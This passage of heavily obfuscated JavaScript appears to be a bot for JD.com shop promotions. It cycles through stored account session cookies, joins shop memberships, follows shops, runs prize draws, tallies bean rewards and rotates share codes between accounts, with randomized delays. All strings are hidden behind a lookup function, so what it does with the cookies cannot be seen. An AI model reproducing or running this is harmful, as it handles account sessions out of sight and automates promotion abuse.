0xb4b4('0')]()?process[_0xb4b4('4')][_0xb4b4('10')]?process[_0xb4b4('4')][_0xb4b4('10')]:''+guaopencard_addSku:$[_0xb4b4('8')](_0xb4b4('10'))?$[_0xb4b4('8')](_0xb4b4('10')):''+guaopencard_addSku;guaopencard=$[_0xb4b4('0')]()?process[_0xb4b4('4')][_0xb4b4('11')]?process[_0xb4b4('4')][_0xb4b4('11')]:''+guaopencard:$[_0xb4b4('8')](_0xb4b4('11'))?$[_0xb4b4('8')](_0xb4b4('11')):''+guaopencard;guaopencard=$[_0xb4b4('0')]()?process[_0xb4b4('4')][_0xb4b4('12')]?process[_0xb4b4('4')][_0xb4b4('12')]:''+guaopencard:$[_0xb4b4('8')](_0xb4b4('12'))?$[_0xb4b4('8')](_0xb4b4('12')):''+guaopencard;message='';$[_0xb4b4('13')]=![];!(async()=>{var _0x3db725={'qEVgf':_0xb4b4('14'),'joTFw':function(_0x2befb6){return _0x2befb6();},'BETAD':function(_0x3878d2,_0x3e8c2d){return _0x3878d2===_0x3e8c2d;},'wqEUQ':_0xb4b4('15'),'eTeAf':_0xb4b4('16'),'NwrDW':_0xb4b4('17'),'iWosI':function(_0x5b4168,_0x379d22){return _0x5b4168!=_0x379d22;},'qpbKa':function(_0x5b1171,_0xe2a4fb){return _0x5b1171+_0xe2a4fb;},'ORxCO':_0xb4b4('18'),'IdrtH':function(_0x4bea65,_0xd70777){return _0x4bea65!==_0xd70777;},'qqGGh':_0xb4b4('19'),'BccRo':_0xb4b4('1a'),'rrSCz':_0xb4b4('1b'),'HbIUA':_0xb4b4('1c'),'pDlMe':_0xb4b4('1d'),'tsowU':function(_0x20cd22,_0x5e25e0){return _0x20cd22<_0x5e25e0;},'biLdN':function(_0x172a73,_0x3c09be){return _0x172a73(_0x3c09be);},'MDjHM':function(_0x1df6e4,_0x4839c1){return _0x1df6e4+_0x4839c1;},'MtFtR':function(_0x52faae){return _0x52faae();},'UCAVc':function(_0xdd3ebf,_0x3a63bd){return _0xdd3ebf==_0x3a63bd;},'xKyai':_0xb4b4('1e')};if(!cookiesArr[0x0]){if(_0x3db725[_0xb4b4('1f')](_0x3db725[_0xb4b4('20')],_0x3db725[_0xb4b4('20')])){$[_0xb4b4('21')]($[_0xb4b4('22')],_0x3db725[_0xb4b4('23')],_0x3db725[_0xb4b4('24')],{'open-url':_0x3db725[_0xb4b4('24')]});return;}else{console[_0xb4b4('7')](e);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x3db725[_0xb4b4('25')]);return[];}}if($[_0xb4b4('0')]()){if(_0x3db725[_0xb4b4('26')](_0x3db725[_0xb4b4('27')](guaopencard,''),_0x3db725[_0xb4b4('28')])){if(_0x3db725[_0xb4b4('29')](_0x3db725[_0xb4b4('2a')],_0x3db725[_0xb4b4('2a')])){_0x3db725[_0xb4b4('2b')](resolve);}else{console[_0xb4b4('7')](_0x3db725[_0xb4b4('2c')]);}}if(_0x3db725[_0xb4b4('26')](_0x3db725[_0xb4b4('27')](guaopencard,''),_0x3db725[_0xb4b4('28')])){if(_0x3db725[_0xb4b4('29')](_0x3db725[_0xb4b4('2d')],_0x3db725[_0xb4b4('2d')])){console[_0xb4b4('7')](data);}else{return;}}}$[_0xb4b4('2e')]=[];$[_0xb4b4('2f')]=_0x3db725[_0xb4b4('30')];$[_0xb4b4('31')]=_0x3db725[_0xb4b4('32')];console[_0xb4b4('7')](_0xb4b4('33')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')]);for(let _0x52bd17=0x0;_0x3db725[_0xb4b4('35')](_0x52bd17,cookiesArr[_0xb4b4('36')]);_0x52bd17++){cookie=cookiesArr[_0x52bd17];if(cookie){$[_0xb4b4('37')]=_0x3db725[_0xb4b4('38')](decodeURIComponent,cookie[_0xb4b4('39')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0xb4b4('39')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0xb4b4('3a')]=_0x3db725[_0xb4b4('3b')](_0x52bd17,0x1);await _0x3db725[_0xb4b4('2b')](getUA);console[_0xb4b4('7')](_0xb4b4('3c')+$[_0xb4b4('3a')]+'】'+$[_0xb4b4('37')]+_0xb4b4('3d'));await _0x3db725[_0xb4b4('3e')](run);if(_0x3db725[_0xb4b4('3f')](_0x52bd17,0x0)&&!$[_0xb4b4('40')])break;if($[_0xb4b4('13')])break;}}if($[_0xb4b4('13')]){let _0x5c809d=_0x3db725[_0xb4b4('41')];$[_0xb4b4('21')]($[_0xb4b4('22')],'',''+_0x5c809d);if($[_0xb4b4('0')]())await notify[_0xb4b4('42')](''+$[_0xb4b4('22')],''+_0x5c809d);}})()[_0xb4b4('43')](_0xb4aac2=>$[_0xb4b4('44')](_0xb4aac2))[_0xb4b4('45')](()=>$[_0xb4b4('46')]());async function run(){var _0x2f3c72={'gObjb':function(_0x14031d,_0x2ab332){return _0x14031d!=_0x2ab332;},'DKGqW':_0xb4b4('47'),'TQKEY':function(_0x53d6c0,_0x4af495){return _0x53d6c0>_0x4af495;},'wuVrA':_0xb4b4('48'),'ZmTQQ':function(_0x5300a8,_0x5c8ce6){return _0x5300a8+_0x5c8ce6;},'ssblM':_0xb4b4('49'),'TvPva':function(_0xb83858){return _0xb83858();},'GQTov':function(_0x31df43,_0x29352d){return _0x31df43==_0x29352d;},'AWdvW':function(_0x272794,_0x50e2c6){return _0x272794!==_0x50e2c6;},'RZbax':_0xb4b4('4a'),'QQhrr':function(_0x4e3990,_0x405543){return _0x4e3990!==_0x405543;},'FQwVw':_0xb4b4('4b'),'lQYEP':_0xb4b4('4c'),'iVMUG':_0xb4b4('4d'),'fLRxm':_0xb4b4('4e'),'OGmZM':function(_0x18c3f6,_0x12dd93){return _0x18c3f6===_0x12dd93;},'Phskf':_0xb4b4('4f'),'adwHj':function(_0x167935,_0x5ada88){return _0x167935==_0x5ada88;},'OSnUn':_0xb4b4('50'),'pElYp':function(_0x51d1c5){return _0x51d1c5();},'ccEAE':_0xb4b4('51'),'YfyJK':function(_0x585d90){return _0x585d90();},'SHtpN':_0xb4b4('52'),'OjilB':function(_0x1ce48b){return _0x1ce48b();},'TfPXA':function(_0x47db8b,_0x482541){return _0x47db8b!==_0x482541;},'eASKf':_0xb4b4('53'),'JVLSK':_0xb4b4('54'),'sRQQH':_0xb4b4('55'),'qgcga':function(_0x2ea8c5,_0x27d247){return _0x2ea8c5(_0x27d247);},'WPPHQ':function(_0x4877b1){return _0x4877b1();},'egsOl':function(_0x4a2330,_0x387378,_0x5a2d2a){return _0x4a2330(_0x387378,_0x5a2d2a);},'mNzKC':function(_0x46d624,_0x52a72f){return _0x46d624+_0x52a72f;},'DOepo':function(_0x114d80,_0x43c482){return _0x114d80*_0x43c482;},'cWwcu':function(_0x41c58f,_0x23b8e6){return _0x41c58f==_0x23b8e6;},'ddnmN':_0xb4b4('56'),'OTCCl':function(_0x448cce,_0x4aefa2){return _0x448cce(_0x4aefa2);},'MbLnv':function(_0x5158e3,_0x26a288,_0xcb777){return _0x5158e3(_0x26a288,_0xcb777);},'cUsbF':function(_0x25c7c3,_0x15550b){return _0x25c7c3+_0x15550b;},'CXzar':function(_0x5b4383,_0x40a8d6){return _0x5b4383*_0x40a8d6;},'HjncY':function(_0x1e3106,_0x2a3886){return _0x1e3106==_0x2a3886;},'oLDpQ':function(_0x17624b,_0x49bf90){return _0x17624b(_0x49bf90);},'tswCp':function(_0x24d829,_0x2c2d57){return _0x24d829==_0x2c2d57;},'quXvw':function(_0x552115,_0x40c8b3){return _0x552115+_0x40c8b3;},'YFLlf':_0xb4b4('57'),'gfCEx':function(_0x52118d,_0x501f9f){return _0x52118d*_0x501f9f;},'xgRwe':function(_0x165d45,_0x2afb12){return _0x165d45+_0x2afb12;},'xJTsc':_0xb4b4('58'),'TZLQe':function(_0x289fad,_0x39e4a1){return _0x289fad+_0x39e4a1;},'SZTPy':_0xb4b4('18'),'UdGrs':_0xb4b4('59'),'FCDFW':function(_0x42cc19){return _0x42cc19();},'XOkcs':function(_0x4cce36,_0x22dae3){return _0x4cce36==_0x22dae3;},'fvoxB':function(_0x14e563,_0x45e1f6,_0x1bd3f7){return _0x14e563(_0x45e1f6,_0x1bd3f7);},'nNuue':function(_0x532e8b,_0x3b7e84){return _0x532e8b+_0x3b7e84;},'rEgMT':_0xb4b4('5a'),'WWhUn':_0xb4b4('5b'),'boEWT':_0xb4b4('5c'),'cocyG':function(_0x1294d4,_0x4e1854){return _0x1294d4===_0x4e1854;},'vNaFX':_0xb4b4('5d'),'CUTmQ':function(_0x1ff142,_0x48b0e0){return _0x1ff142!==_0x48b0e0;},'QVxfn':function(_0x4f344c,_0x2751de){return _0x4f344c===_0x2751de;},'UMKcg':_0xb4b4('1c'),'uRnMc':function(_0x48165d,_0x280913){return _0x48165d+_0x280913;},'iDiRg':function(_0x79bc32,_0x207528){return _0x79bc32*_0x207528;},'YcEgH':function(_0x50d1cf,_0x1b9ff1,_0x5b10b){return _0x50d1cf(_0x1b9ff1,_0x5b10b);},'hydym':function(_0x3428f5,_0x377fa6){return _0x3428f5*_0x377fa6;}};try{lz_jdpin_token='';$[_0xb4b4('5e')]='';$[_0xb4b4('5f')]='';await _0x2f3c72[_0xb4b4('60')](getCk);if(_0x2f3c72[_0xb4b4('61')](activityCookie,'')){if(_0x2f3c72[_0xb4b4('62')](_0x2f3c72[_0xb4b4('63')],_0x2f3c72[_0xb4b4('63')])){console[_0xb4b4('7')](data);}else{console[_0xb4b4('7')](_0xb4b4('64'));return;}}if($[_0xb4b4('13')]){if(_0x2f3c72[_0xb4b4('65')](_0x2f3c72[_0xb4b4('66')],_0x2f3c72[_0xb4b4('67')])){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('68')]);return;}else{if(_0x2f3c72[_0xb4b4('69')](typeof setcookies,_0x2f3c72[_0xb4b4('6a')])){setcookie=setcookies[_0xb4b4('6b')](',');}else setcookie=setcookies;for(let _0x2ad118 of setcookie){let _0x296650=_0x2ad118[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x296650[_0xb4b4('6b')]('=')[0x1]){if(_0x2f3c72[_0xb4b4('6d')](_0x296650[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('6f')]),-0x1))LZ_TOKEN_KEY=_0x2f3c72[_0xb4b4('70')](_0x296650[_0xb4b4('71')](/ /g,''),';');if(_0x2f3c72[_0xb4b4('6d')](_0x296650[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('72')]),-0x1))LZ_TOKEN_VALUE=_0x2f3c72[_0xb4b4('70')](_0x296650[_0xb4b4('71')](/ /g,''),';');}}}}await _0x2f3c72[_0xb4b4('60')](getToken);if(_0x2f3c72[_0xb4b4('61')]($[_0xb4b4('5e')],'')){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('73')]);return;}await _0x2f3c72[_0xb4b4('60')](getSimpleActInfoVo);$[_0xb4b4('74')]='';await _0x2f3c72[_0xb4b4('60')](getMyPing);if(_0x2f3c72[_0xb4b4('75')]($[_0xb4b4('5f')],'')||_0x2f3c72[_0xb4b4('61')](typeof $[_0xb4b4('76')],_0x2f3c72[_0xb4b4('77')])||_0x2f3c72[_0xb4b4('78')](typeof $[_0xb4b4('79')],_0x2f3c72[_0xb4b4('77')])){$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('7a')]);return;}await _0x2f3c72[_0xb4b4('7b')](accessLogWithAD);$[_0xb4b4('7c')]=_0x2f3c72[_0xb4b4('7d')];await _0x2f3c72[_0xb4b4('7b')](getUserInfo);$[_0xb4b4('40')]='';await _0x2f3c72[_0xb4b4('7e')](getActorUuid);if(!$[_0xb4b4('40')]){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('7f')]);return;}await _0x2f3c72[_0xb4b4('7e')](drawContent);await $[_0xb4b4('80')](0x3e8);let _0x241379=await _0x2f3c72[_0xb4b4('81')](checkOpenCard);$[_0xb4b4('82')]=_0x241379[_0xb4b4('82')]?!![]:![];if(_0x241379&&!_0x241379[_0xb4b4('82')]&&!$[_0xb4b4('13')]){if(_0x2f3c72[_0xb4b4('83')](_0x2f3c72[_0xb4b4('84')],_0x2f3c72[_0xb4b4('85')])){let _0x449973=!![];for(let _0x4aa9b6 of _0x241379[_0xb4b4('86')]&&_0x241379[_0xb4b4('86')]||[]){if(_0x2f3c72[_0xb4b4('78')](_0x4aa9b6[_0xb4b4('87')],0x0)){var _0x4258cf=_0x2f3c72[_0xb4b4('88')][_0xb4b4('6b')]('|'),_0x3d9acb=0x0;while(!![]){switch(_0x4258cf[_0x3d9acb++]){case'0':if(_0x449973)console[_0xb4b4('7')]('组1');continue;case'1':await _0x2f3c72[_0xb4b4('89')](join,_0x4aa9b6[_0xb4b4('8a')]);continue;case'2':await _0x2f3c72[_0xb4b4('8b')](drawContent);continue;case'3':if(_0x449973)_0x449973=![];continue;case'4':console[_0xb4b4('7')](_0x4aa9b6[_0xb4b4('22')]);continue;case'5':await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('8c')](parseInt,_0x2f3c72[_0xb4b4('8d')](_0x2f3c72[_0xb4b4('8e')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));continue;}break;}}}_0x449973=!![];for(let _0x5d6db8 of _0x241379[_0xb4b4('90')]&&_0x241379[_0xb4b4('90')]||[]){if(_0x2f3c72[_0xb4b4('91')](_0x5d6db8[_0xb4b4('87')],0x0)){var _0x2307e4=_0x2f3c72[_0xb4b4('92')][_0xb4b4('6b')]('|'),_0x290e78=0x0;while(!![]){switch(_0x2307e4[_0x290e78++]){case'0':await _0x2f3c72[_0xb4b4('93')](join,_0x5d6db8[_0xb4b4('8a')]);continue;case'1':if(_0x449973)console[_0xb4b4('7')]('组2');continue;case'2':if(_0x449973)_0x449973=![];continue;case'3':await _0x2f3c72[_0xb4b4('8b')](drawContent);continue;case'4':await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('94')](parseInt,_0x2f3c72[_0xb4b4('95')](_0x2f3c72[_0xb4b4('96')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));continue;case'5':console[_0xb4b4('7')](_0x5d6db8[_0xb4b4('22')]);continue;}break;}}}await $[_0xb4b4('80')](0x3e8);await _0x2f3c72[_0xb4b4('8b')](drawContent);_0x241379=await _0x2f3c72[_0xb4b4('8b')](checkOpenCard);await $[_0xb4b4('80')](0x3e8);}else{console[_0xb4b4('7')](data);}}if(_0x241379&&_0x2f3c72[_0xb4b4('97')](_0x241379[_0xb4b4('98')],0x1)&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('99')](startDraw,0x1);if(_0x241379&&_0x2f3c72[_0xb4b4('9a')](_0x241379[_0xb4b4('9b')],0x1)&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('99')](startDraw,0x2);$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('9c')](_0x2f3c72[_0xb4b4('9d')],$[_0xb4b4('9e')]));if(!$[_0xb4b4('9e')]&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('8b')](followShop);if(!$[_0xb4b4('9e')]&&!$[_0xb4b4('13')])await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('94')](parseInt,_0x2f3c72[_0xb4b4('9c')](_0x2f3c72[_0xb4b4('9f')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('a0')](_0x2f3c72[_0xb4b4('a1')],$[_0xb4b4('a2')]));if(!$[_0xb4b4('a2')]&&_0x2f3c72[_0xb4b4('69')](_0x2f3c72[_0xb4b4('a3')](guaopencard_addSku,''),_0x2f3c72[_0xb4b4('a4')]))console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('a5')]);if(!$[_0xb4b4('a2')]&&_0x2f3c72[_0xb4b4('9a')](guaopencard_addSku,_0x2f3c72[_0xb4b4('a4')])&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('a6')](addSku);if(!$[_0xb4b4('a2')]&&_0x2f3c72[_0xb4b4('a7')](guaopencard_addSku,_0x2f3c72[_0xb4b4('a4')])&&!$[_0xb4b4('13')])await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('a8')](parseInt,_0x2f3c72[_0xb4b4('a3')](_0x2f3c72[_0xb4b4('9f')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));await _0x2f3c72[_0xb4b4('a6')](getDrawRecordHasCoupon);await $[_0xb4b4('80')](0x3e8);$[_0xb4b4('a9')]=0x0;await _0x2f3c72[_0xb4b4('a6')](getShareRecord);$[_0xb4b4('7')]($[_0xb4b4('40')]);$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('aa')](_0x2f3c72[_0xb4b4('ab')],$[_0xb4b4('2f')]));if($[_0xb4b4('40')]){if(_0x2f3c72[_0xb4b4('83')](_0x2f3c72[_0xb4b4('ac')],_0x2f3c72[_0xb4b4('ad')])){$[_0xb4b4('2e')][_0xb4b4('3')]({'shareUuid':$[_0xb4b4('40')],'count':$[_0xb4b4('a9')],'index':$[_0xb4b4('3a')]});}else{if(_0x2f3c72[_0xb4b4('6d')](name[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('6f')]),-0x1))LZ_TOKEN_KEY=_0x2f3c72[_0xb4b4('70')](name[_0xb4b4('71')](/ /g,''),';');if(_0x2f3c72[_0xb4b4('6d')](name[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('72')]),-0x1))LZ_TOKEN_VALUE=_0x2f3c72[_0xb4b4('70')](name[_0xb4b4('71')](/ /g,''),';');}}else if(_0x2f3c72[_0xb4b4('ae')]($[_0xb4b4('3a')],0x1)){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('af')]);return;}if((!$[_0xb4b4('9e')]||!$[_0xb4b4('82')])&&_0x2f3c72[_0xb4b4('b0')]($[_0xb4b4('3a')],0x1))_0x2f3c72[_0xb4b4('a8')](updateShareUuid,$[_0xb4b4('2f')],0x1);if(_0x2f3c72[_0xb4b4('b1')]($[_0xb4b4('3a')],0x1)||_0x2f3c72[_0xb4b4('a7')]($[_0xb4b4('2f')],_0x2f3c72[_0xb4b4('b2')]))_0x2f3c72[_0xb4b4('a8')](updateShareUuid,$[_0xb4b4('2f')],0x0);await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('a8')](parseInt,_0x2f3c72[_0xb4b4('b3')](_0x2f3c72[_0xb4b4('b4')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));if(!$[_0xb4b4('9e')])await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('b5')](parseInt,_0x2f3c72[_0xb4b4('b3')](_0x2f3c72[_0xb4b4('b6')](Math[_0xb4b4('8f')](),0x3e8),0x2710),0xa));}catch(_0x87a679){console[_0xb4b4('7')](_0x87a679);}}function updateShareUuid(_0x3e86c4,_0x5d9806){var _0x3cc47b={'UXTjA':function(_0x40eeae){return _0x40eeae();},'PSqWF':function(_0x4bfc26,_0x4e115b){return _0x4bfc26==_0x4e115b;},'anjsn':function(_0x931de9,_0x2c1699){return _0x931de9==_0x2c1699;},'ELOPc':function(_0x442441,_0x3e7ae6){return _0x442441>=_0x3e7ae6;},'wEARn':function(_0x144b38,_0x3b9977){return _0x144b38==_0x3b9977;},'mDVfO':function(_0x46c92e,_0x2a2d02){return _0x46c92e<_0x2a2d02;},'wgQkD':function(_0x2d9965,_0x20c580){return _0x2d9965!==_0x20c580;},'pNNPm':_0xb4b4('b7'),'SNbiU':_0xb4b4('b8')};let _0x2c4854=0x0;for(let _0x391fd1 in $[_0xb4b4('2e')]){if($[_0xb4b4('2e')][_0x391fd1]&&_0x3cc47b[_0xb4b4('b9')]($[_0xb4b4('2e')][_0x391fd1][_0xb4b4('2f')],_0x3e86c4)){_0x2c4854=_0x391fd1;break;}}if(_0x3cc47b[_0xb4b4('ba')](_0x5d9806,0x1))$[_0xb4b4('2e')][_0x2c4854][_0xb4b4('bb')]++;if(_0x3cc47b[_0xb4b4('bc')]($[_0xb4b4('2e')][_0x2c4854][_0xb4b4('bb')],0x5)||_0x3cc47b[_0xb4b4('bd')](_0x5d9806,0x0)){console[_0xb4b4('7')](_0xb4b4('be')+$[_0xb4b4('2e')][_0x2c4854][_0xb4b4('2f')]+_0xb4b4('bf')+$[_0xb4b4('2e')][_0x2c4854][_0xb4b4('bb')]);for(let _0x5269aa in $[_0xb4b4('2e')]){if($[_0xb4b4('2e')][_0x5269aa]&&_0x3cc47b[_0xb4b4('c0')]($[_0xb4b4('2e')][_0x5269aa][_0xb4b4('bb')],0x5)){if(_0x3cc47b[_0xb4b4('c1')](_0x3cc47b[_0xb4b4('c2')],_0x3cc47b[_0xb4b4('c3')])){$[_0xb4b4('2f')]=$[_0xb4b4('2e')][_0x5269aa][_0xb4b4('2f')];console[_0xb4b4('7')](_0xb4b4('c4')+$[_0xb4b4('2f')]+_0xb4b4('c5')+$[_0xb4b4('2e')][_0x5269aa][_0xb4b4('3a')]+_0xb4b4('c6')+$[_0xb4b4('2e')][_0x5269aa][_0xb4b4('bb')]);break;}else{_0x3cc47b[_0xb4b4('c7')](resolve);}}}}}function getDrawRecordHasCoupon(){var _0x2e5ea6={'Ycpcj':function(_0x6db1b7,_0x404d79){return _0x6db1b7==_0x404d79;},'UVgRL':_0xb4b4('4d'),'APlpx':function(_0x50910c){return _0x50910c();},'zHxLS':function(_0x2acbaa,_0x31a433){return _0x2acbaa(_0x31a433);},'tBDAh':function(_0x374a95,_0x3bd94b){return _0x374a95===_0x3bd94b;},'rJUGt':_0xb4b4('c8'),'vqaav':_0xb4b4('c9'),'hmjMQ':_0xb4b4('ca'),'iokao':_0xb4b4('cb'),'FXtYU':_0xb4b4('47'),'xxtAt':function(_0xf16eb3,_0x3367b3){return _0xf16eb3!==_0x3367b3;},'vpLSK':_0xb4b4('cc'),'YYdoA':_0xb4b4('cd'),'PfiUB':function(_0x1e5d6c,_0x5e720c){return _0x1e5d6c==_0x5e720c;},'OgURg':_0xb4b4('ce'),'aYtBD':function(_0x350756,_0x2ee09c){return _0x350756==_0x2ee09c;},'FozJV':function(_0x1426ac,_0x30b3a4){return _0x1426ac!=_0x30b3a4;},'QboIc':function(_0x5c8145,_0x1de37e){return _0x5c8145!=_0x1de37e;},'jLCjm':function(_0x59a2ff,_0x6ccd56){return _0x59a2ff+_0x6ccd56;},'AJFGj':function(_0x33f4fa,_0x160d9d){return _0x33f4fa>_0x160d9d;},'AOhJQ':function(_0x2537e4,_0x10b59c){return _0x2537e4*_0x10b59c;},'KgRqv':function(_0xb77901,_0x48f5cc,_0x5461b2){return _0xb77901(_0x48f5cc,_0x5461b2);},'iYGST':_0xb4b4('cf'),'hZGZu':_0xb4b4('d0'),'odUoU':function(_0x6a0aba,_0x2f452e){return _0x6a0aba!==_0x2f452e;},'jfiWY':_0xb4b4('d1'),'weEJe':_0xb4b4('d2'),'kjUhy':function(_0x2bede1,_0x848f04){return _0x2bede1===_0x848f04;},'GRROB':_0xb4b4('d3'),'hLkoy':_0xb4b4('d4'),'ewEgz':function(_0x56e489,_0x379887){return _0x56e489(_0x379887);},'dnRfX':_0xb4b4('d5')};return new Promise(_0x4cd846=>{var _0x2af1c7={'ALeur':function(_0x3f91ca,_0xcc8891){return _0x2e5ea6[_0xb4b4('d6')](_0x3f91ca,_0xcc8891);},'lwVmM':_0x2e5ea6[_0xb4b4('d7')],'wsflE':function(_0x356e9f){return _0x2e5ea6[_0xb4b4('d8')](_0x356e9f);},'RfFPj':function(_0x57fad4,_0x1607fc){return _0x2e5ea6[_0xb4b4('d9')](_0x57fad4,_0x1607fc);},'yFzWU':function(_0x5e7dac,_0x265dc7){return _0x2e5ea6[_0xb4b4('da')](_0x5e7dac,_0x265dc7);},'kMUjy':_0x2e5ea6[_0xb4b4('db')],'hVkGe':_0x2e5ea6[_0xb4b4('dc')],'CdEbB':_0x2e5ea6[_0xb4b4('dd')],'czUdV':_0x2e5ea6[_0xb4b4('de')],'VDjaL':_0x2e5ea6[_0xb4b4('df')],'obnjX':function(_0x1c4f38,_0x49acce){return _0x2e5ea6[_0xb4b4('e0')](_0x1c4f38,_0x49acce);},'FUayv':_0x2e5ea6[_0xb4b4('e1')],'ArSST':_0x2e5ea6[_0xb4b4('e2')],'XRndC':function(_0x506622,_0x5c989d){return _0x2e5ea6[_0xb4b4('e3')](_0x506622,_0x5c989d);},'SVhxl':_0x2e5ea6[_0xb4b4('e4')],'WKaMn':function(_0x574efd,_0x3ad4e8){return _0x2e5ea6[_0xb4b4('e5')](_0x574efd,_0x3ad4e8);},'zuIIK':function(_0x4e208a,_0x2d38d2){return _0x2e5ea6[_0xb4b4('e6')](_0x4e208a,_0x2d38d2);},'lYfbE':function(_0x48dcb7,_0x526700){return _0x2e5ea6[_0xb4b4('e7')](_0x48dcb7,_0x526700);},'tahMZ':function(_0x1a182c,_0x5afce7){return _0x2e5ea6[_0xb4b4('e8')](_0x1a182c,_0x5afce7);},'bmikK':function(_0xa2137b,_0x100591){return _0x2e5ea6[_0xb4b4('e9')](_0xa2137b,_0x100591);},'DoWhC':function(_0x3ca4a2,_0x559d1c){return _0x2e5ea6[_0xb4b4('ea')](_0x3ca4a2,_0x559d1c);},'WXjuT':function(_0x1a4d69,_0x5fdce,_0x2350fe){return _0x2e5ea6[_0xb4b4('eb')](_0x1a4d69,_0x5fdce,_0x2350fe);},'CCHLD':function(_0xbac8e3,_0x100f64){return _0x2e5ea6[_0xb4b4('e5')](_0xbac8e3,_0x100f64);},'wZSTb':_0x2e5ea6[_0xb4b4('ec')],'naLwd':_0x2e5ea6[_0xb4b4('ed')],'qQMpt':function(_0x564f9b,_0x24439e){return _0x2e5ea6[_0xb4b4('ee')](_0x564f9b,_0x24439e);},'hXELi':_0x2e5ea6[_0xb4b4('ef')],'WkyIn':_0x2e5ea6[_0xb4b4('f0')]};if(_0x2e5ea6[_0xb4b4('f1')](_0x2e5ea6[_0xb4b4('f2')],_0x2e5ea6[_0xb4b4('f3')])){setcookie=setcookies[_0xb4b4('6b')](',');}else{let _0x31a396=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('f6')+_0x2e5ea6[_0xb4b4('f7')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f8');$[_0xb4b4('f9')](_0x2e5ea6[_0xb4b4('eb')](taskPostUrl,_0x2e5ea6[_0xb4b4('fa')],_0x31a396),async(_0x51b740,_0x928006,_0xe06690)=>{var _0x123569={'JAFEM':function(_0x468247){return _0x2af1c7[_0xb4b4('fb')](_0x468247);},'HAwKO':function(_0x2f3c7f,_0x10a1fe){return _0x2af1c7[_0xb4b4('fc')](_0x2f3c7f,_0x10a1fe);}};if(_0x2af1c7[_0xb4b4('fd')](_0x2af1c7[_0xb4b4('fe')],_0x2af1c7[_0xb4b4('ff')])){if(_0x928006[_0xb4b4('100')]&&_0x2af1c7[_0xb4b4('101')](_0x928006[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x2af1c7[_0xb4b4('102')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x51b740));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{try{if(_0x2af1c7[_0xb4b4('fd')](_0x2af1c7[_0xb4b4('105')],_0x2af1c7[_0xb4b4('106')])){_0x123569[_0xb4b4('107')](_0x4cd846);}else{if(_0x51b740){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x51b740));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{res=$[_0xb4b4('108')](_0xe06690);if(_0x2af1c7[_0xb4b4('101')](typeof res,_0x2af1c7[_0xb4b4('109')])){if(_0x2af1c7[_0xb4b4('fd')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){console[_0xb4b4('7')](_0xb4b4('10c'));let _0x421cc6=0x0;let _0x475017=0x0;for(let _0x31c9ff in res[_0xb4b4('10b')]){if(_0x2af1c7[_0xb4b4('10d')](_0x2af1c7[_0xb4b4('10e')],_0x2af1c7[_0xb4b4('10f')])){let _0x46f0c4=res[_0xb4b4('10b')][_0x31c9ff];if(_0x2af1c7[_0xb4b4('110')](_0x46f0c4[_0xb4b4('8a')],_0x2af1c7[_0xb4b4('111')]))_0x421cc6++;if(_0x2af1c7[_0xb4b4('112')](_0x46f0c4[_0xb4b4('8a')],_0x2af1c7[_0xb4b4('111')]))_0x475017=_0x46f0c4[_0xb4b4('113')][_0xb4b4('71')]('京豆','');if(_0x2af1c7[_0xb4b4('114')](_0x46f0c4[_0xb4b4('8a')],_0x2af1c7[_0xb4b4('111')]))console[_0xb4b4('7')](''+(_0x2af1c7[_0xb4b4('115')](_0x46f0c4[_0xb4b4('116')],0xa)&&_0x2af1c7[_0xb4b4('117')](_0x46f0c4[_0xb4b4('8a')],':')||'')+_0x46f0c4[_0xb4b4('113')]);}else{_0x123569[_0xb4b4('118')](_0x4cd846,res&&res[_0xb4b4('10b')]||'');}}if(_0x2af1c7[_0xb4b4('119')](_0x421cc6,0x0))console[_0xb4b4('7')](_0xb4b4('11a')+_0x421cc6+'):'+(_0x2af1c7[_0xb4b4('11b')](_0x421cc6,_0x2af1c7[_0xb4b4('11c')](parseInt,_0x475017,0xa))||0x1e)+'京豆');}else if(_0x2af1c7[_0xb4b4('11d')](typeof 